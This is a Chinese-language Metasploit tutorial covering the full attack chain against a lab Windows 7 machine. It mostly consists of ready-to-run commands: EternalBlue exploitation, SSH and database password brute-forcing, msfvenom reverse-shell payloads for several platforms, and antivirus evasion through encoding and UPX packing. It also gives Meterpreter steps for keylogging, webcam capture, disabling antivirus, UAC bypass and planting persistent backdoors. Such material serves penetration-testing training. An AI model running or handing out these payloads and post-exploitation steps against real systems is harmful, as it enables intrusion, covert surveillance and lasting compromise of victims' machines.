Metasploit框架概述

Metasploit Framework是一个开源的渗漏测试框架，简称MSF。
附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。

常用的Metasploit命令

```
更新：msfupdate
帮助：msfconsole -h
启动msf：  msfconsole
```

Metasploit模块

漏洞利用(exploit)

漏洞利用exploit，他就是对漏洞进行攻击的代码。

辅助探测模块(Auxiliary)

负责执行扫描，嗅探，指纹识别等相关功能以辅助渗透测试。

攻击载荷(payload)

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码，而在Metasploit中Payload是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了Payload在目标系统中的行为。

Post

该模块主要用于在取得目标主机系统远程控制权后，进行一系列的后渗透攻击动作。

Metasploit 功能

扫描功能

```
auxiliary/scanner/ip/ipidseq   # 主机在线
auxiliary/scanner/portscan/syn  # 端口扫描
auxiliary/scanner/smb/smb_version   # 扫描某个特定的模块
auxiliary/scanner/ssh/ssh_version   # 扫描ssh服务
auxiliary/scanner/http/dir_scanner  # 扫描网站目录
```

密码破解

破解ssh

第一步：探测用户名

```
auxiliary/scanner/ssh/ssh_enumusers
show options 查看参数
set    设置参数
run
```

第二步：破解SSH

```
auxiliary/scanner/ssh/ssh_login
show options 查看参数
set    设置参数
run
```

Tomcat攻击

```
use auxiliary/scanner/http/tomcat_mgr_login
```

破解其他

```
auxiliary/scanner/mysql/mysql_login  #破解mysql
auxiliary/scanner/ftp/ftp_login  #破解ftp
```

漏洞攻击

MS17-010

实验环境

攻击机`：Kali Linux` ip地址：`192.168.0.133`

被攻击机：`Windows 7 Home Basic 7601 Service Pack 1 x64` ip地址：`192.168.0.135`

漏洞破解过程

第一步： 扫描漏洞

```
use auxiliary/scanner/smb/smb_ms17_010
```

第二步： 攻击漏洞

```
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.0.135
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.133
run
```

MS10-002

```
use exploit/windows/browser/ms10_002_aurora
set srhost 192.168.0.133
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.133
set Lport 1122
run
```

类似漏洞

```
MS10-018   exploit/windows/browser/ms10_018_ie_behaviors
ms12-004   exploit/windows/browser/ms12_004_midi
```

MS12-020

MS12-020 远程桌面协议RDP远程代码执行漏洞

渗透后期

Shellcode

```
msfvenom
msfvenom -l payloads
msfvenom -l encoders
```

主机shellcode

生成shellcode

```
windows:
msfvenom -p   windows/meterpreter/reverse_tcp    LHOST=192.168.0.133   LPORT=1001   -f exe >
cc.exe

linux
msfvenom -p linux/x86/meterpreter/reverse_tcp  LHOST=192.168.0.133   LPORT=1001   -f  elf >
shell.elf

mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.0.133   LPORT=1001  -f  macho > shell.macho
```

侦听shellcode

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.133
set LPORT  1001
exploit
```

Java

生成shellcode

```
msfvenom -p   java/meterpreter/reverse_tcp    LHOST=192.168.0.133   LPORT=1002   -f jar > c1.jar
```

侦听shellcode

```
msfconsole
use exploit/multi/handler
set PAYLOAD jar/meterpreter/reverse_tcp
set LHOST 192.168.0.133
set LPORT  1002
exploit
```

网页shellcode

生成shellcode

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.133 LPORT=1002 -f raw > shell.php


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.133 LPORT=1002 -f asp > shell.asp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.133 LPORT=1002  -f raw > shell.jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.133 LPORT=1002 -f war > shell.war
```

侦听shellcode

```
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.0.133
set LPORT  1002
run
```

shellcode免杀

```
编码
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.133
LPORT=1001 -e x86/shikata_ga_nai -i 20 -f exe > c1.exe

加壳
upx c1.exe c2.exe
```

Meterpreter

方法1：

```
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.0.135
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.133
run
```

方法2：

```
msfvenom -p   windows/meterpreter/reverse_tcp    LHOST=192.168.0.133   LPORT=1001   -f exe >
cc.exe

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.133
set LPORT  1001
exploit
```

收集主机信息

```
   获取系统运行的平台信息
       sysinfo
       shell -> systeminfo
  查看权限   getuid
  进入目标机cmd shell

  进程相关
        查看进程  ps
        获取当前进程的pid     getpid
        切换进程  migrate 进程号
        进程迁移: run post/windows/manage/migrate
        关闭进程:

         run killav

  重启/关机  reboot / shutdown


摄像头相关
    webcam_list  #查看摄像头
    webcam_snap   #通过摄像头拍照
    webcam_stream   #通过摄像头开启视频
```

键盘记录

```
keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录
run post/windows/capture/keylog_recorder 记录键盘输入
```

文件操作

```
getwd      或者pwd # 查看当前工作目录
cat        # 查看文件内容
mkdir      #只能在当前目录下创建文件夹
rmdir      #只能删除当前目录下文件夹
rm         #删除文件
edit        #编辑或创建文件   没有的话，会新建文件

upload       # 上传文件到目标机上
download    # 下载文件到本机上

execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
```

提权

方法1：getsystem自动提权

提权命令：getsystem

方法2：UAC进行提权

```
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
```

如使用bypassuac.rb脚本：

```
background
use exploit/windows/local/bypassuac
set SESSION 1
run
```

方法3：内核漏洞提权 可先利用enum_patches模块 收集补丁信息，然后查找可用的exploits进行提权

```
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
```

抓包

```
run packetrecorder -i 1
run post/windows/manage/rpcapd_start   需要先提权

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包
```

远程桌面和截屏

```
截屏       screenshot
enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
run vnc  #使用vnc远程桌面连接
```

后门植入

metasploit自带的后门有两种方式启动的，一种是通过启动项启动(persistence)，一种是通过服务启动(metsvc)，另外还可以通过persistence_exe自定义后门文件。

方法1：persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

```
run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.0.133
#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip
```

连接后门

```
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.133
msf > set LPORT 6661
msf > exploit
```

方法2：metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件（metsrv.x86.dll、metsvc-server.exe、metsvc.exe），通过服务启动，服务名为meterpreter

```
run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门
```

连接后门

```
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.0.133
msf > set LPORT 31337
msf > exploit
```